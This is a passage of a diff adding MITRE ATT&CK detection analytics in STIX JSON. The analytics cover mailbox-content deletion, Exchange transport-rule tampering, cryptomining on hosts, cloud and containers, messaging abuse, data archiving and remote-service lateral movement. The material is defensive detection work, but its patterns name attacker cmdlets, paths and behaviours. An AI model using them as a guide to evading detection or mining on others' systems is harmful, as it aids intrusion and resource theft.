"x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=23" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "WinEventLog:Security", + "channel": "EventCode=4663" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "m365:exchange", + "channel": "Transport Rule Modification" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MailstorePath", + "description": "Outlook files in AppData\\Local\\Comms\\Unistore\\data" + }, + { + "field": "TransportRuleNames", + "description": "Target suspicious rule changes (e.g., header removal)" + }, + { + "field": "PowerShellCommandMatch", + "description": "Regex match on `Remove-MailboxExportRequest` and similar Exchange cmdlets" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9933242a-f96e-4b3e-896f-e7335f410a4f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0266#AN0738", + "external_id": "AN0738" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0738", + "description": "Detects the use of mail utilities like `mail` or `mailx` to delete mailbox content, or file-level deletion of inbox files from `/var/spool/mail/` or `/var/mail/` following suspicious sessions.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8", + "name": "auditd:SYSCALL", + "channel": "unlink/unlinkat" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MailFolderPath", + "description": "Common inbox file locations like /var/spool/mail/, /var/mail/" + }, + { + "field": "CommandPattern", + "description": "Usage of mailx or echo piped to mail followed by deletion" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--cd10c7fd-edef-4f85-aff3-9eaa35906b18", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0266#AN0739", + "external_id": "AN0739" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0739", + "description": "Detects removal of Apple Mail artifacts via AppleScript or direct deletion of mailbox content in ~/Library/Mail/, especially when preceded by Remote Login or C2-related API access.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "log stream" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8", + "name": "macos:osquery", + "channel": "file_events" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ScriptCommandMatch", + "description": "AppleScript references to Mail.app and delete commands" + }, + { + "field": "LibraryPathMatch", + "description": "Files within ~/Library/Mail/V*/ folders" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--dff59103-f6d4-4580-8316-a0528768b4b3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0266#AN0740", + "external_id": "AN0740" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0740", + "description": "Detects Exchange Online or on-prem transport rule changes (e.g., header stripping) and mailbox export cleanup via `Remove-MailboxExportRequest`, as well as admin actions via Exchange PowerShell sessions.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "m365:exchange", + "channel": "Admin Audit Logs, Transport Rules" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:PowerShell", + "channel": "Exchange Cmdlets" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CmdletFilter", + "description": "Include `New-TransportRule`, `Set-TransportRule`, `Remove-*` actions" + }, + { + "field": "UserRoleScope", + "description": "Track role assignments for admins performing deletions" + } + ], + "x_mitre_platforms": [ + "Office Suite" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a789e535-cab9-49b4-9685-c10a5d3642b4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0267#AN0741", + "external_id": "AN0741" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0741", + "description": "Persistent high CPU utilization combined with suspicious command-line execution (e.g., mining tools or obfuscated scripts) and outbound connections to mining/proxy networks.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", + "name": "Windows:perfmon", + "channel": "High sustained CPU usage by a single process" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Duration threshold for sustained CPU activity (e.g., >15 minutes)" + }, + { + "field": "DestinationIPList", + "description": "Known mining pool IPs or proxy service endpoints" + }, + { + "field": "ExecutableNamePatterns", + "description": "Regex list of suspicious or known mining tools" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7d099bc4-1a19-4aa3-b12b-a9390e98408a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0267#AN0742", + "external_id": "AN0742" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0742", + "description": "Abnormal CPU/memory usage by unauthorized processes with outbound connections to known mining pools or using cron jobs/scripts to maintain persistence.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", + "name": "linux:procfs", + "channel": "Sustained high /proc/[pid]/stat usage" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "Outbound traffic to mining pools or proxies" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ProcessPath", + "description": "Location of resource-heavy binaries (e.g., /tmp/.xmr)" + }, + { + "field": "CPUThreshold", + "description": "Acceptable baseline for CPU overuse" + }, + { + "field": "KnownMiningDomains", + "description": "List of domains/IPs for known cryptomining services" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--8cbeecbb-429f-4f30-9f42-266aaa7b2c0f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0267#AN0743", + "external_id": "AN0743" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0743", + "description": "Background launch agents/daemons with high CPU use and network access to external mining services.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "launchctl activity and process creation" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "macos:unifiedlog", + "channel": "Persistent outbound traffic to mining domains" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "launchdLabel", + "description": "Suspicious or unknown launch agents" + }, + { + "field": "TrafficVolumeThreshold", + "description": "Outbound bandwidth usage thresholds" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--8e1872c2-906c-4cf8-b0c7-afd448fe1c0b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0267#AN0744", + "external_id": "AN0744" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0744", + "description": "Sudden spikes in cloud VM CPU usage with outbound traffic to mining pools and unauthorized instance creation.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--f8213cde-6b3a-420d-9ab7-41c9af1a919f", + "name": "AWS:CloudTrail", + "channel": "RunInstances" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", + "name": "CloudWatch:Metrics", + "channel": "Sustained EC2 CPU usage above normal baseline" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "AWS:VPCFlowLogs", + "channel": "Outbound flow logs to known mining pools" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CPUUtilizationThreshold", + "description": "CloudWatch alarm trigger for sustained CPU" + }, + { + "field": "UnusualRegionList", + "description": "Instances launched in unexpected regions" + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--791ea4ff-7a49-4aa7-a41c-51288031e0f0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0267#AN0745", + "external_id": "AN0745" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0745", + "description": "High CPU usage by unauthorized containers running mining binaries or public proxy tools.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "containerd:events", + "channel": "New container with suspicious image name or high resource usage" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", + "name": "prometheus:metrics", + "channel": "Container CPU/Memory usage exceeding threshold" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "container:cni", + "channel": "Outbound network traffic to mining proxies" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ImageName", + "description": "Suspicious or unknown container image used" + }, + { + "field": "CPUQuotaThreshold", + "description": "Container-level resource limits" + } + ], + "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--6e5bfc6b-3f07-426b-ac9f-6a8cc6b591c3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0267#AN0746", + "external_id": "AN0746" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0746", + "description": "Abuse of cloud messaging platforms to send mass spam or consume quota-based resources.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--e52d89f9-1710-4708-88a5-cbef77c4cd5e", + "name": "m365:unified", + "channel": "SendMessage" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "saas:application", + "channel": "High-volume API calls or traffic via messaging or webhook service" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MessageRateThreshold", + "description": "Max allowable outbound message rate per user/account" + }, + { + "field": "APIKeyList", + "description": "Known authorized API clients for messaging usage" + } + ], + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4bdc0555-f7f0-4b5b-80c9-77f361881a01", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0268#AN0747", + "external_id": "AN0747" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0747", + "description": "Detects adversarial archiving using libraries (zlib, zip APIs) invoked by scripts or binaries. Correlates process executions of Python, PowerShell, or custom .NET binaries with DLL/module loads linked to compression libraries, followed by archive file creation.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "LibraryAllowlist", + "description": "Known business applications using compression libraries." + }, + { + "field": "SuspiciousExtensions", + "description": "Archive extensions considered sensitive in monitored environments." + }, + { + "field": "TimeWindow", + "description": "Correlation window between script/library invocation and file creation." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--90e51090-9857-4a28-98b9-f21401ddbe85", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0268#AN0748", + "external_id": "AN0748" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0748", + "description": "Detects adversarial archiving by scripts or binaries calling compression libraries (libzip, zlib, bzip2). Correlates execution of Python, Perl, or compiled binaries with dynamic linking to archiving libraries and creation of compressed files in /tmp or user directories.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:SYSCALL", + "channel": "execve: Execution of python, perl, or custom binaries invoking compression libraries" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "auditd:MMAP", + "channel": "load: Loading of libzip.so, libz.so, or libbz2.so by processes not normally associated with archiving" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "auditd:FILE", + "channel": "create: Creation of .zip, .gz, .bz2 files in /tmp, /var/tmp, or /home directories" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredLibraries", + "description": "List of shared objects linked to compression/encryption." + }, + { + "field": "ArchivePaths", + "description": "Directories where archive creation is flagged as anomalous." + }, + { + "field": "EntropyThreshold", + "description": "Entropy level used to distinguish encryption from normal compression." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4ecd8727-bcf3-4fce-8c04-e8d0bad1267e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0268#AN0749", + "external_id": "AN0749" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0749", + "description": "Detects malicious archiving via system or third-party libraries (libz, libarchive) invoked by Python, Swift, or Objective-C binaries. Correlates unified logs of library loads with creation of compressed or encrypted archives (.zip, .gz, .bz2, .dmg).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "Execution of Python, Swift, or other binaries invoking archiving libraries" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "macos:unifiedlog", + "channel": "Loading of libz.dylib, libarchive.dylib by non-standard applications" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "macos:unifiedlog", + "channel": "Creation of .zip, .gz, .dmg archives in /Users, /tmp, or application directories" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedProcesses", + "description": "Applications allowed to load compression libraries (e.g., backup agents)." + }, + { + "field": "UserContext", + "description": "Flag archiving under privileged or system accounts as suspicious." + }, + { + "field": "FileExtensionFilter", + "description": "Targeted monitoring of sensitive file formats or compressed containers." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--34c5e959-876b-4851-8ebf-bfaf97e9e609", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0269#AN0750", + "external_id": "AN0750" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0750", + "description": "Logon via RDP or WMI by a user account followed by uncommon command execution, file manipulation, or lateral network connections.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "WinEventLog:Security", + "channel": "EventCode=4624 (LogonType=10 or 3), EventCode=4648" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Correlation window between remote login and post-access activity" + }, + { + "field": "LogonUser", + "description": "Limit to service accounts or privileged users for higher fidelity" + }, + { + "field": "RemoteHostList", + "description": "Allowlisting known admin jumpboxes or deployment tools" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a366262a-ba79-4b74-be16-0b139d546651", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0269#AN0751", + "external_id": "AN0751" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0751", + "description": "SSH session from new source IP followed by interactive shell or privilege escalation (e.g., sudo, su) and outbound lateral connection.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "linux:syslog", + "channel": "sshd: Accepted password/publickey" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:SYSCALL", + "channel": "execve, USER_CMD" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SourceIP", + "description": "Limit to new/unexpected SSH source IPs" + }, + { + "field": "CommandList", + "description": "Flag suspicious post-SSH command patterns" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e26778ca-0fd9-4a1b-9d1d-d8ba561b065a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0269#AN0752", + "external_id": "AN0752" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0752", + "description": "Remote login via ARD or SSH followed by screensharingd process activity or modification of TCC-protected files.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "macos:unifiedlog", + "channel": "eventMessage CONTAINS 'screensharingd' or 'AuthorizationRefCreate'" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:osquery", + "channel": "process_events" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "RemoteService", + "description": "Differentiate ARD vs SSH access patterns" + }, + { + "field": "TargetedPath", + "description": "Tunable list of sensitive directories or TCC targets" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--dfabf07a-8179-43f5-abf6-699202c10343", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0269#AN0753", + "external_id": "AN0753" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0753", + "description": "Use of cloud-based bastion or VM console session followed by commands that initiate outbound SSH or RDP sessions from the cloud instance to other environments.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "AWS:CloudTrail", + "channel": "AWS ConsoleLogin, StartSession" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "AWS:VPCFlowLogs", + "channel": "Outbound connections to port 22, 3389" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SourceAssetTag", + "description": "Limit detection to cloud admin/bastion hosts" + }, + { + "field": "TargetPortList", + "description": "Define critical remote service ports to flag" + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": 